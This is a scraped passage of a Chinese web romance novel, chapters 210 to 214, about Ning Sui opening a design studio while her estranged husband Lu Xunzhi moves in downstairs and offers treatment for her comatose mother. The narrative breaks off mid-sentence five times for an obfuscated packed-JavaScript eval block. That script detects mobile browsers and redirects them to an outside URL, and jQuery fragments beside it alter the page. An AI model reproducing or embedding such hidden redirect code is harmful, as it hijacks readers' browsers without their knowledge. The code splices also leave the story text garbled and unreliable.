宁穗嘴角难得露出笑容,“谢谢。” 两人没聊多久,一个身影匆匆找过来。 周南昭看到宁穗的时候,微微颔首,转而看向桑甜的时候,眼神夹杂着小心翼翼,“不是说好,等我一起吗?你怎么又丢下我。” 幽怨的小语气,可怜巴巴的。 桑甜冷淡地看他,“我去哪儿还要给你报备吗?要不你干脆在我身上装个定位算了。” 周南昭讳莫如深。 宁穗看着两人的表情,大概知道,这个家伙也是占有欲极强的主。 毕竟人以群分物以类聚。 桑甜没再理他,转眼看向宁穗,“我记得有一家甜品店不错,咱们去尝尝?” 宁穗点头。 两人并肩离开,周南昭悻悻地跟在后边。 一直跟到甜品店,周南昭也只敢选了一个角落里的座位坐下,偷偷看着桑甜。 宁穗挺无语的,周二在御城那也是呼风唤雨般的存在,怎么现在反倒成这个样子了。 小心翼翼,看着桑甜的眼色。 果然一个猴一个栓法。 “你有什么打算?”桑甜问,“海城这边,我也有点人脉。这两年,我都在海城发展。你要是需要,我随叫随到。” 果然,女孩帮助女孩。 宁穗眼眶有些热,“想开个自己的小店。干老本行。” 她已经联系了王**,对方这几年一直在海城,混得风生水起。 到时候会给她一些资源。 桑甜,“开就开个大的,小井装不下龙王。” 宁穗被她逗笑了,“我手里钱有限。” 虽然陆勋之在协议上给了她不少,但是宁穗还是想谨慎点。 万一哪天陆勋之反悔,给收回去,那她找谁哭。 还是自己手里的钱,最踏实。 这几年,她手里没什么钱,之前的账户她不敢动,怕被陆勋之追踪到。 她用一点点钱,做了一些投资,手里钱说不上多,但也有个几百万。 但这些钱,对于开店来说,也实在不算什么。 桑甜,“那我入股。”说着,她随手摆了摆,周南昭就跟等待召唤的小狗子似的,倏地起身走过来。 宁穗下意识地看了一眼他的身后。 感觉这哥们都要长出尾巴了。 恨不得摇起来。 “甜甜……” 桑甜没理他,而是问宁穗,“一个亿,够吗?” 宁穗,“……” 够是够,但这……她能要吗? 两人的状态一看就不对劲,她要是要了这个钱,会不会给桑甜惹麻烦? 桑甜自然是看透了她的担心,笑得温和,“不够还有,亏了算他的。” 宁穗哭笑不得,这么好的闺蜜! 周南昭有些为难,小声说:“甜甜,钱有的是,随便花。但是……” 宁穗可是陆勋之的人啊。 他要是给宁穗撑腰,那他不就站到陆勋之的对立面了? 桑甜冷了脸斜睨着周南昭,“是谁说,会无条件站在我这边的?” 周南昭一噎,马上转了风向,对宁穗说:“以后我就是你姐夫,娘家人,替你撑腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115605|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宁穗,“……” 一亿当天就到宁穗账上了,周南昭还承诺,说到时候派人来帮宁穗选址装修,一条龙。 宁穗躺在自己床上的时候,人都是懵的。 这么顺利吗? 本以为回国之后会是一场腥风血雨。 但现在看来,婚也马上要离了,事业眼看就要有起色了。 好像…… 就也不算坏。 她睡得迷迷糊糊的时候,听到有人敲门。 宁穗惊得坐起来。 这些年她一直被陆勋之的人追着跑。 陆闻之一有消息,就会帮宁穗转移。 逃跑已经成了她生活的一部分。 她恍恍惚惚,蹑手蹑脚地走到门口,透过电子猫眼看到外边高大但颓废的男人,有些愣住。 心里第一个念头还是逃跑。 但转瞬就冷静下来。 为什么要跑,他们都要离婚了。 但随即宁穗又拧起眉头。 陆勋之不会是要后悔吧? 房门再次被敲响,男人的眼底情绪不明。 她看了一眼表,都半夜十二点多了。 这个小区里住的人都岁数不小了,她不想吵到别人。 打开门,男人一双眸子迅速攫住她,一眨不眨的,看上去很可怜。 头发有点湿,夜里的露水很重。 他车子停不进来,他是走进来的。 “听说你想开工作室,这是你落在景园的一些图纸,想着你可能用得到。”陆勋之递过来一个袋子,里面都是宁穗之前画的一些草稿。 她喜欢保留这些设计碎片,也许什么时候,就能用上。 当年走得迫不得已,这些东西都没来得及带走,怕被陆勋之发现。 再后来,她在陆凛之掳走,之后就走上了一条满是荆棘的路。 “谢谢。”宁穗冷淡地道谢,接过袋子。 可男人并没有松手,宁穗皱眉看向他,“还有事?” “这边我让人一直收拾着,柜子里的衣服被褥定期有人清洗,都是干净的,你可以随便用。”陆勋之难得话多,一句句地交代。 宁穗不耐,一把夺过袋子,直接关上了门。 门板差点拍上陆勋之的鼻子尖。 第210章 凭什么要她躲? 宁穗背靠在门板上,初春的海城还有点倒春寒。 宁穗只穿了单薄的睡衣,身上有些凉。 但脑子更清醒了几分,她将袋子放在玄关柜上,发着呆。 过了不知道多久,她打开电子猫眼,看到男人颓丧地靠在墙边,垂着头,哪里还有往日的风光和矜贵。 看上去像是丧家之犬。 宁穗沉了脸,拉开门。 男人慢半拍地看过来,瞬间站直了身子。 “你还有事?”宁穗不耐。 陆勋之抿唇,“我听周南昭说,他给你工作室投资了。我想问,你还需要钱吗?” 宁穗冷笑,“离婚你不是很大方吗?等把离婚证签了,我就有钱。” 陆勋之噎住。 突然觉得自己搬起石头砸了自己的脚。 不给吧,自己难受,怕宁穗吃苦。 给吧,现在宁穗有钱了,更不鸟他了。 陆勋之干裂的薄唇,开合了几下,没说出一句话来。 宁穗拧眉,“你赶紧走吧,我要睡觉了。” “我没地方去。”陆勋之拉住要关上的门,“让我借宿一下。” 宁穗笑了,气的。 “陆总你没地方去?你随手买套房子住。或者去酒店长包房。再不济,你那辆车还放不下你的大长腿吗?” 车里睡去呗! 理由都不知道想一个合理的。 陆勋之薄唇抿成直线,对,他就是瞎编的理由。 可他不想走,怕宁穗再也不想见他。 宁穗拉门拉不动,没好气,“松开!” 陆勋之没松,宁穗猛地一使劲,夹住了男人的手,他疼得嘶了一声,还是松了手。 房门再次关上。 陆勋之听到她啪啦啪啦走进房间的声音。 四周安静下来,这是真的不管他了。 宁穗躺在床上翻来覆去地睡不着。 真的烦**,她刚开心了一天。 陆勋之就跟鬼似的,又缠上来。 快天亮的时候,宁穗才勉强睡着。 等再醒来,已经中午了。 她挺饿的,打算去吃点东西。 刚走到楼下,就发现有人在进进出出的,像是在收拾房子。 她也好几年没回来了,不知道这边的房子有没有人买卖,但看样子应该是卖出去了。 她印象里楼下的大伯身体不好,早就跟着儿子去住了,房子空置了很久。 宁穗没走远,到附近的面馆吃了一碗面,就回了家。 想着回去研究下店面的选址。 她晚上约了王**见面,想拿着资料到时候问问王**。 可刚走到楼下那层,扫了一眼门口就愣住了。 这个……怎么这么眼熟。 是她在景园住的时候,买的一个玄关摆件。 她记得挺清楚的,前一段日子她回景园的时候,还看到过。 那是她在一个古玩市场上淘到的。 独一无二。 她眯了眯眸子。 心里冒出来一个不好的预感。 她拿出手机,将陆勋之的电话找出来,拨了出去。 随即里面房间便传出来熟悉的铃声。 宁穗短促地笑了一声,迈开步子走进去。 径直顺着铃声找到了主人。 陆勋之手里拿着手机点击了接通,夹在耳侧,手上正在给一份文件签字。 “喂,穗穗。” 陆勋之一顿,因为他的声音从门口传来,带着电流的磁性。 跟他自己的声音重叠。 他猛地抬眼,迎上宁穗的刀子一样的视线。 余光瞥见她手里的手机,开着免提。 男人脸不红心不跳,挂断手机,写下最后一笔,将文件递给一旁的唐桓,笑了笑,“这么快就发现了?” 本来他还想晚上给宁穗一个惊喜的。 宁穗冷淡地瞪了他两眼,一句话都没说,转身走了。 走到门口的时候,还顺手拿走了那个摆件。 她很喜欢来着,不想便宜这个臭狗。 宁穗关上自己家的房门,摔得震天响。 烦**! 怎么哪里都有他! 宁穗气哄哄地回到房间,打开app,除了看店面以外,也开始看房子。 但看了半小时,她就萎了。 她突然意识到一个问题,只要陆勋之肯,宁穗不管买到哪里,对方都能买到她邻居家。 她哪里有那么多钱,跟他对着干? 那一亿是周南昭投资到工作室的。 她手里的几百万,在海城也就是买个一室户。 一种无力感冲上来,宁穗瘫在沙发上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118931|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 躲是躲不掉的。 再说,凭什么要她躲? 宁穗倏地坐起来,顶着一头有些乱的头发,穿着拖鞋冲到了楼下。 工人们已经都走了,唐桓也不在,就陆勋之一个人坐在沙发上,安静地看文件。 听到动静,抬眼看过来,对宁穗的出现,丝毫没有意外,甚至嘴角勾起淡淡的笑意。 宁穗走到他跟前,双手抱在身前,居高临下地质问,“你到底要干什么?” 陆勋之慢条斯理地放下手里的文件,微微仰头看着她,满眼的温和,“中午只吃了一碗面,饿不饿?” 宁穗,“你别以为你住在我楼下,就能窥探我的生活。” 陆勋之完全不接招,“冰箱里有你喜欢的海鲜粥,要不要尝尝?” 宁穗突然生出一种无力感,对牛弹琴也就是这样吧? 她深吸一口气,闭了闭眼睛,声音软下来,“陆勋之。” “嗯?你说。” “你爷爷还没醒吗?” 陆勋之的脸色紧了紧。 醒了啊,还闹呢。 说要将宁穗千刀万剐。 有我没她。 宁穗冷漠勾唇,“我差点弄死他,他怎么还不来报复我?要不我给他打电话——唔!” 男人倏地站起来,捂住了宁穗的嘴。 大手温暖干燥,盖住了宁穗半张脸。 一双大眼睛气的溜圆,忽闪忽闪的,长长的睫毛直扫他的指尖。 痒痒的。 “他自己为老不尊,还有脸找你麻烦吗?”陆勋之语气也冷了冷。 他没说,现在陆家已经是他说了算。 老爷子身边的人,都换了一个遍。 算是被陆勋之软禁了。 以前他任由陆凛之和老爷子把控着陆氏。 是因为他一门心思在找宁穗上,根本懒得管陆氏的事。 他们喜欢就让他们去做吧。 现在动到宁穗身上,那他就要收割了。 有一个算一个。 陆老爷子,二房那边,全都被卸了左膀右臂。 没有一个能掀起风浪。 他不会允许再有人欺负宁穗。 可宁穗并不买账,倏地扯下他的手,冷岑岑地反问,“陆勋之,你不会是后悔了吧?” 后悔签了离婚协议。 第211章 没品 陆勋之薄唇紧抿,没说话。 但他暧昧的态度,宁穗就猜到结果了。 她往后退了一步,拖鞋被地毯拖住,掉了,她都不自知。 脸色有几分白,是被气的,也是被经年累月的事所拖累的。 她不想再经历一遍。 “陆勋之,像个男人一样行吗?”宁穗没招了,真的没招了。 “说话算话就那么难吗?”宁穗还用了激将法,“你这么高傲的人,不会做这种没品的事,对吗?” 陆勋之起身,宁穗又退后一步。 对他的抗拒,已经写在动作里。 陆勋之心被抓住,难受得喘不上气,他低头看宁穗的脚。 踩在地毯上,但他还是担心她凉。 下一秒,他抱起宁穗,随之而来的是宁穗发了疯一样的捶打。 陆勋之轻轻叹了一口气,将她放在沙发上,又蹲下身,认认真真地帮她穿上拖鞋。 扬起眸子看向她,“倒春寒,别着凉。” 着凉你大爷! 宁穗猛地起身,冲出了家门。 宁穗快被他气**。 根本没办法一个人待着。 她换了衣服干脆出门去看商铺。 转了一圈,记下来几个。 到了跟王**约定的时间,宁穗去了王**现在的工作室。 叫工作室就太小了,等宁穗见到的时候,发现王**现在的规模,已经完全是一个小型的博物馆级别。 里面不光有他和徒弟们的作品,甚至还有很多老艺术家经典作品,先锋艺术家的创新品。 他是真的在这一行里深耕了。 已经达到宁穗一时半会都追不上的程度。 “师兄,你真厉害。”宁穗由衷赞叹。 王**却笑了笑,“穗穗,要是十年前你没退出,现在我就是给你打工了。” 他不是恭维,而是真的。 宁穗要是没结婚,至少没嫁给陆勋之,那她现在不说超过王**,也至少能与王**肩并肩。 “没事,种一棵树最好的时机是十年前,其次就是现在。”宁穗弯唇笑笑。 王**愣了愣,仿佛看到十几岁的宁穗。 那时候她跟着王三保学习,身边都是师兄。 都比她大,又是男孩,一个个的却都惊叹于她的天赋。 这些年,是真的耽误了。 但对宁穗来说,不算什么,她有天赋,又努力。 追上来是早晚的事,她现在还年轻。 宁穗看着王**收藏的几件藏品,王**就看着她。 陆勋之进门的时候,就看到这个场景,感觉胸口都要被嫉妒冲爆了。 他本能地想冲上去,但理智还是阻止住他。 下午宁穗在他新房子里冲她发火的样子,还在眼前。 他毫不怀疑,要是他敢对王**做什么,宁穗能砍了他。 “王老师,投资方过来了。”助理提醒王**,他这才回神,然后叫上宁穗。 “你不是想开工作室吗?我刚拉到了一次展览的投资,你正好跟我一起去聊聊,也许能帮上你。”王**当然想帮宁穗。 宁穗感激,自己现在就是个小白,需要王**这样的大佬带一带。 两人到会议室,看到里面矜贵的陆勋之时,宁穗的脸立刻就垮了。 王**愣了愣,但也反应过来。 怪不得有个投资人这么大方,原来是醉翁之意不在酒。 他下意识地看向宁穗,询问她的意见。 宁穗看向王**,“师兄,这次投资,你打算谈多少?” 王**余光瞥那边的黑脸,闻声回答,“两千万。” 宁穗倏地看向陆勋之,脸色也没比陆勋之的好看多少,“陆总,一个亿,谢谢。” “……” 真是当他冤大头啊。 这么一个小展子,至于吗? 王**拉宁穗的衣角,小声说:“算了,我再找别人。相信我。” 宁穗转头迎上他的视线,两人对视微笑。 那样子…… 真是扎眼得难受! 陆勋之倏地起身,又克制住自己想上前分开两人的冲动,最后脱口而出,“成交。” 他能怎样? 还能怎样? 他就剩这点钞能力了。 宁穗伸手,“打钱。” 陆勋之,“……” 协议都没签,就直接要钱是吧? 怎么不去抢呢? 哦,他巴不得来抢他。 还好还要他的臭钱。 陆勋之拿出手机,直接转账到宁穗的户头。 “这场展,钱怎么花,我都不管,我就一个要求。”陆勋之看向宁穗,“宁穗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118932|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作品要在C位。” 明晃晃地要捧宁穗出道。 “谢谢金主爸爸。”宁穗做了一个夸张的鞠躬礼,转身看向王**,“走吧,师兄,我请你吃大餐。” 陆勋之气笑了。 拿了他的钱,就去请别的男人吃饭是吗? 王**一把拉住宁穗的胳膊,笑眯眯地看向陆勋之,“陆总一起吗?” 陆勋之,“?” 宁穗僵硬,用眼神示意他别找事。 但王**仿佛暂时瞎了,根本看不见,“楼下有家餐厅不错,去尝尝吧。” 十分钟后,三个人坐在圆桌的三个点位上。 宁穗垂着眸子一张冷脸。 陆勋之期期艾艾地盯着她,一眨不眨。 王**若无其事地给两人斟上茶水。 “尝尝,你喜欢的茉莉茶。”王**对宁穗说,“还记得那年,我们去福城写生,在茶庄里,你当场画了一个小摆件,送给老板,老板管了我们三年的茶。” 宁穗当然记得,那是她一战成名的趣事,当时那个老板拿到这个小摆件,后来据说被一个大佬看上,给了对方一个大单子。 所以才有个管他们三年茶的后续。 那时候宁穗也才十六岁。 提到过去,宁穗明显脸色松快了一些,仿佛也陷入当年的美好回忆。 那段日子,她是过得开心又顺遂。 两人也就着这件往事,谈起了家常,默契地构建起一层屏障。 将陆勋之隔绝在外。 看着宁穗沉沉的脸色,在一件件往事中,逐渐鲜活起来。 陆勋之的心口就疼的难受。 他已经很久没见过这么生动的宁穗了。 在他的印象里,好像也只有上学的时候见过。 那时候宁穗眼里只有他。 他沉闷地喝着茶,明明花香四溢的茶,可喝到他嘴里,就凝出苦涩。 王**余光看到他的茶杯空了,又给他斟上,“不好意思,是我失礼了,我和穗穗聊过去的事,你听着很无聊吧?” 好茶啊。 陆勋之偏偏不敢反驳。 是无聊,那不是在下宁穗的面子吗? 说不无聊,他又插不上嘴。 他甚至觉得,只要他一开口,宁穗的笑容能立马收回。 他连看多一眼,都是奢侈。 第212章 有机会好起来吗? 陆勋之没说话,就那么直勾勾盯着宁穗。 可宁穗一个眼神都没分给他。 他就像是霜打的茄子一样,蔫蔫的。 一顿饭,王**和宁穗忆往昔。 陆勋之一筷子都没动,只有在宁穗夹菜的时候,帮她转动转盘。 把她喜欢的菜往跟前转。 宁穗全程一个眼神都没给他。 一个亿,就换了跟老婆同桌吃饭的机会,还是跟别的男人聊天。 饭后,王**要送宁穗回去。 两人刚上车,后车门被拉开,随即陆勋之也跟了上来。 王**回头看他,气笑了,“我这小车,盛不下陆总这尊大佛。” 陆勋之随意看了一眼,确实有点嫌弃,“车是挺破的,王老师你该换车了。” 宁穗适时插话进来,“师兄,反正有一个亿,你想买什么车?你随便挑。” 陆勋之又蔫了。 他给老婆的钱,老婆却给别的男人买车。 “穗穗,我的车也该换了。”陆勋之默默道。 宁穗哼了一声,“你自己换。” “……” 王**捏眉心,“得了,陆总下车吧。我送宁穗回去,你还不放心吗?” 废话! 不放心的就是你。 陆勋之薄唇微勾,与王**对上视线,“我跟穗穗住一块。你送她顺便送我吧。” 王**嘴角的笑意僵硬,机械地看向宁穗。 这话说的,好像他俩住一起似的。 宁穗冷声纠正,“你是住在我楼下!” 王**的脸色缓和了几分,陆勋之的脸色却黑下来。 “反正顺路。”陆勋之嘟囔。 王**没辙,只能启动车子。 车停下,王**下车,给宁穗开车门,随即两人一起上楼。 陆勋之孤孤单单地跟在后边,走到自己这层的时候,陆勋之想叫住王**,去他家坐坐。 但两人步子根本没停,直接上楼。 砰! 房门关上的声音,重重砸在陆勋之的心口上。 痛。 痛**。 半个小时后,陆勋之在猫眼里看到王**离开的身影。 开门就上了楼。 他猛然抬起的胳膊,在空中顿了顿,落下来的时候,却变成轻轻的敲门声。 里面传来啪啦啪啦的拖鞋声,随即宁穗拉开门,声音温柔,“忘东西——”了? 看到陆勋之的俊脸,宁穗的笑容顿时垮下去,语气也冷了几分,“干嘛?” 陆勋之心口刺挠,忍着脾气问,“他在你房间里待了三十分钟,干嘛了?” 宁穗气笑了,双手抱在身前,“干点成年人该干的事。” “宁穗!” “干嘛!” 陆勋之气的胸口起伏,快要炸开了。 咬着后槽牙,“我们还没离呢!” “那又怎么样?”宁穗反诘。 “你这是在给我戴绿帽子!” “是啊!”宁穗破罐子破摔,“你弄死我啊!” 陆勋之语塞。 他敢吗? 敢吗! 疼啊! 好疼啊! 陆勋之捂着胸口痛弯了腰。 宁穗狐疑地看着他,“你别在我这碰瓷啊!” 男人宽厚的肩膀都垮了,微微颤抖着。 手机响起,宁穗拿出来,刚接通,一只大手斜过来,抢走了她的手机。 王**的声音带着电流声回荡在楼道里,“穗穗,刚才你说的方案,我觉得可行,我刚才给几位老师打了电话,他们有意向,到时候我们再约个时间,细聊一下。” 呼! 陆勋之动脉突然就通了。 他做梦都没想到,就在他几乎要心梗的时候,是王**的声音救了他。 宁穗一把抢回去手机,狠狠瞪了他一眼,将手机放在耳边,“知道了,师兄,到时候我把草图带过去。” 下午她看陆勋之给她带来的那些草图的时候,突然有了一些灵感。 刚才王**来,她就给对方看了看,然后说了自己的一些想法。 王**觉得很可行,刚才在路上就跟人联系了。 所以刚才他们是在房间里,聊展览的事。 正事。 陆勋之心里不难受了,脸色也恢复了几分血色,“穗穗……” “滚!”宁穗挂断电话,随手甩上了门。 陆勋之拍门板,里面传来宁穗裹着盛怒的声音,“我让你滚!” 宁穗把自己的草图又整理了一下,打算明天带上,跟王**一起去见那几位业内的泰斗。 一切准备好,她还做了个面膜,想明天状态好一点。 贴好了面膜纸,宁穗拿了一本书,坐在沙发上,打算看会儿。 突然…… 咚咚咚! 客厅的窗户被敲响。 宁穗吓了一跳,猛地看过去,看到一个身影在外边,吓得面膜都掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124271|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 心一下子提到嗓子眼,随即一张俊脸贴在窗户上。 宁穗看清了,但更气了。 她快步走过去,猛地拉开窗扇,“你有病吧!” 居然怕窗户上来,这是四楼,就算摔不死,也得摔残了。 陆勋之勾唇笑笑,一条大长腿迈进来,骑在窗户上,“我有话跟你说。” “我不想听。你滚!”宁穗推他。 男人还真的晃了一下,险些掉下去,宁穗的心也跟着提上来。 下意识地抓住了他的胳膊。 鼓胀的肌肉在她手下,让她找回一点真实感。 宁穗脸瞬间黑下来,“你下来!” 她转身走到门口,拉开门,看着陆勋之慢慢吞吞地进到客厅,“走。” 男人却停在沙发那,一歪身子,坐下了。 悠闲的,像是回到自己家。 宁穗好气啊,肩膀都跟着抖。 “就几句,我说完就走。”陆勋之打着商量。 宁穗闭了闭眼睛,关上门,“有屁就放,放完就走。” 现在是真的粗鲁啊。 陆勋之皱了皱眉心,但还是耐着性子,“你今天晚上吃了不少肉,要吃点健胃消食的吗?我家里——” 宁穗随手抓了旁边的玩偶丢到他身上。 把他后边的话,砸了回去。 陆勋之保住玩偶,高高大大的,却抱了个小巧可爱的卡皮巴拉,看上去有点反差萌。 可宁穗没兴趣看,“说完了,你可以走了。” 一副就知道你没什么正事的表情。 陆勋之抿唇,片刻后启唇,“我在国外的医疗研究,最近有了一些新突破,你如果同意的话,可以在妈妈的治疗方案上,试一试。” 宁穗愣住。 宁安静现在的情况不适合挪动,所以她没接宁安静回来。 上次她在陆家闹完之后,陆闻之来过消息,跟她说,宁安静很安全,陆勋之加强了安保,没让陆老爷子的人得逞。 她当时是带了必死的心,因为医生早就给宁安静判了**。 基本上醒不过来。 可是现在陆勋之说有机会。 宁穗听到自己颤抖的声音,“真的,有机会好起来吗?” 陆勋之点头,表情很严肃,像是有很大的把握,“穗穗,那也是我妈妈,我一定会想办法。” 言外之意,不是他的妈妈,那就不管了。 宁穗的心往下沉。 第213章 梦见鬼了 宁穗脸色很不好,声音都带着颤音,“你帮我妈治疗,条件是什么?” 陆勋之愣了愣,突然明白她的意思,也沉了脸,“我说了,那也是我妈妈,我不会不管。” 给自己的亲人治病还要提什么条件。 这回换宁穗愣住。 她本以为陆勋之会以这个理由,来让她撤回离婚的申请。 “等离了婚,就不是你妈妈了。”宁穗声音没什么起伏,“你还是提条件吧。” 不然她心里不踏实,不知道哪一天陆勋之不高兴,转身就会把一切都要回去。 那时候宁安静治疗到一半,她还不起,会逼死她。 也会害了宁安静。 男人安静了一会儿,倏地起身,黑着脸走出去。 路过宁穗的时候,转头问她,“下回我能走门吗?” 至少不要把他往外推了。 宁穗怔怔望他,气笑了,“是我让你爬窗户的?” 陆勋之,“我敲门你根本不开。还把我关外边。” 说得怎么那么可怜巴巴呢。 宁穗抿唇,“这算你的条件吗?” “嗯。算。” 宁穗默了默,“你想好了,条件你只能提一次。” 陆勋之,“我想想。” 就知道! 他不会提个这么无关紧要的条件。 等了片刻,陆勋之说:“就一个条件,让我出入你家门。” 宁穗怔怔的。 就这? 就这吗? 她狐疑地打量陆勋之,等他下一句,“真没有了?” 陆勋之点头,抬手摸摸她额头被面膜纸怼起来的呆**,“嗯,你早点睡吧。治疗方案,我明天来找你商量。” 说完,他转身就往外走,还贴心地给宁穗带上了门。 宁穗懵的,脸上的面膜已经干了,紧在脸颊上,很不舒服。 她撕下来,看着手中的面膜纸,发了会儿怔。 心总是悬着落不到实处。 陆勋之真的很不对劲。 又在憋什么坏呢? 第二天九点,房门被敲响。 宁穗带着起床气,走过去开门,脸色黑得像锅底。 陆勋之眉心一皱,“做噩梦了?” “梦见鬼了。”宁穗没好气转身走进屋,坐到沙发上。 陆勋之压了压嘴角,“梦到我了吗?” 你倒是有自知之明。 宁穗随意抓了一把头发,“什么方案拿出来吧。” 真的是一句废话也不想跟他多说。 陆勋之走过去,丝毫没有眼力见地挤在她旁边。 宁穗倏地掀眸瞥他。 她还故意留了个单人沙发给他坐,非跟她挤什么呢? 宁穗挺烦的,昨晚上因为陆勋之一句话,她一晚上都没睡好。 一直想着宁安静的治疗方案。 说实话,她其实都不抱希望了。 这些年,医生说得最多的一句话,就是宁安静虽然现在还能活着。 但也只是活着了。 植物人一样,机会没有醒来的可能。 久而久之,宁穗也接受这个结果了。 但是现在陆勋之说有机会醒过来。 她死掉的心就又活泛了。 野草一样的人,就是看到一点希望,就会抓住。 陆勋之不是那种夸大的人,他说可以,应该就可以。 宁穗忍了忍,往旁边挪,却仿佛给男人腾出地方一样,他大马金刀地敞开腿,膝盖又若有似无地贴她。 宁穗心里好烦,想给他一脚。 忍,忍下。 她蹭得起身,坐到那个单人沙发上,跟陆勋之大眼瞪小眼。 男人面无表情地拿出手机,拨了一通视频电话出去。 他故意似的将手机举到跟前,让宁穗看不到屏幕。 宁穗伸了伸脖子,还是什么都看不到。 但声音能传出来,一个陌生女人的声音,中规中矩的,“陆总好。” “嗯,具体治疗方案,说一下。”陆勋之完全没有任何寒暄,就像是上司对待下属。 对方也没含糊,直接共享了屏幕,在说。 可宁穗什么都看不到,她有些专业术语,能听个七七八八,毕竟这些年,治疗宁安静,她要签字各种文件,每次医生都要掰开了揉碎了给她讲,才能让她签字。 但有些她还是听不懂,好像是一些前沿的技术。 需要配合着图来看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124272|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越是听不懂,宁穗越是着急,脖子越抻越长。 陆勋之越过屏幕看到,脖子快抻成大鹅的宁穗。 特别“大方”的,往旁边挪了挪,给她腾出空间,一个眼神示意她过来一起看。 宁穗一门心思都在治疗方案上,根本没脑子想,他完全可以稍微撇一下屏幕,两个人就都能看到了。 宁穗根本不用换地方。 可宁穗还是坐在他旁边。 女人坐过来的急,带起来的风都是香的。 陆勋之视线微斜,落在身旁的人身上。 她穿着薄薄的家居服,真丝面料贴合着曲线。 特别玲珑。 陆勋之咽了咽喉咙。 对面的人讲到一半突然停住,看到画面中突然冒出来的毛茸茸脑袋,愣了愣,视线不动声色地扫过她的睡衣,黑色真丝,顺滑又随意。 再看陆勋之,黑色的衬衫,两人竟然很搭。 “然后呢?”宁穗正听到关键内容,见没声音了,忍不住问。 对方不自然地清了清嗓子,语气公事公办,“陆总,还继续讲吗?” 宁穗眯了眯眼,这是完全不把她放在眼里啊。 只听陆勋之的话咯。 行啊,宁穗微微靠在沙发上,扭头看向陆勋之,“那你回去开会吧。你听明白了,再跟我讲。” 说完,宁穗直接起身,回卧室去了。 宁穗也不着急了。 揪了一晚上的心,也放回肚子里了。 都是千年的狐狸跟她玩什么聊斋呢? 女人看女人还是很准的,那个女医生九成九对陆勋之有想法。 要是这样,要么对方会全力以赴做这件事,想在陆勋之面前留个好印象。 要么就是托大,想表现,最后搞得不伦不类。 宁穗不需要急,就等陆勋之检验成果就成了。 大概是昨天晚上太累了,宁穗这会儿紧绷的神经松懈下来,困意瞬间就裹住她。 很快就睡着了。 一觉睡到了下午,她是饿醒的,起床揉着眼睛开门出去,客厅有个身影蹭得站起来,吓了她一跳。 男人走上前,又怕她生气似的,夹着小心问,“生气了?” 第214章 不要谈情绪,没必要 生气吗? 好像有那么一点。 陆勋之私人的事情,现在影响到宁安静的治疗了。 宁穗有点烦。 但是现在她只能依着陆勋之来。 所以她不掺和了,让陆勋之自己去处理这件事。 她只要一个结果。 宁穗揉了揉眼睛,惺忪的睡眼,声音带着初醒的哑,“有结果了吗?” 她现在什么都不关心,只有宁安静的治疗。 陆勋之又打量了她两眼,好像看不到任何不爽的表情。 他唇角抿了抿,点点头,“这个方案我看了,可行性能达到百分之八十。但是还要看你的意思。” 毕竟宁穗才是病人家属。 宁穗点点头,“有没有简单易懂的解释,让我看看。” 上午那个女医生说话还时不时夹杂着英文,又是专业术语,她是有点听不懂的。 陆勋之拿出一份资料,足足有几十页,打印出来的,还新鲜的。 递到宁穗面前,陆勋之正了语气,“重点部分我都用记号笔画出来了,你要是看不明白,可以问我。” 宁穗点点头,视线凝在资料上,接过去就翻阅起来。 人慢慢挪步,坐在餐桌那,一看就是一个小时。 